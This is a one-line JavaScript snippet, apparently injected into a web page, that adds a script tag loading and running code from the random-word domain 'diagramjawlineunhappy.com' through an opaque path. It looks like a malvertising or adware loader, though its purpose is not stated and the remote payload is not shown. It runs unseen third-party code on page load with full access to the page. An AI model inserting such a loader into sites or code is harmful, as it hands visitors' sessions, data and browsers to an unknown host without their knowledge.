var head = document.getElementsByTagName('head')[0]; var script = document.createElement('script'); script.type = 'text/javascript'; script.src = "https://diagramjawlineunhappy.com/t/9/fret/meow4/1810649/95cf4610.js"; head.appendChild(script);